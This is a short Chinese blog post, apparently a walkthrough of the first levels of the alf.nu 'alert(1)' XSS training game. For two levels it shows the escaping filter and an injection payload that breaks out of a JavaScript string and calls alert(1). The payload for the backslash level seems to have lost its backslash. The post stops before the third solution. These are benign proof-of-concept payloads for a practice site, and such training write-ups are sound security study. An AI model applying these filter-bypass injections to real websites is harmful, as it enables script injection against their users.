xss闯关小游戏

0x00#

今天玩了一个XSS的练习闯关游戏,把自己的思路分享在这里。
平台链接:https://alf.nu/alert1

0x01#

function escape(s) {
return '';
}
这里没什么好说的,直接加双引号和括号绕过即可:

");alert(1);//
注意利用注释,防止JavaScript出现错误。

0x02#

function escape(s) {
s = s.replace(/"/g, '\"');
return '';
}
此处代码利用正则,将双引号加上反斜杠进行转义,也不难突破,只需多加一个反斜杠,让转义的反斜杠失去作用即可:

");alert(1);//

0x03#

function escape(s) {
s = JSON.stringify(s);
return '';
}
JSON.stringify()会将对象或数组转换为一个JSON字符串,这就意味着上一次运用的反斜杠转义彻底失效了。但是我们可以直接闭合前一个script标签,然后重新构造script标签:

posted @ 2018-04-18 22:01  Adan0s  阅读(429)  评论(0)    收藏  举报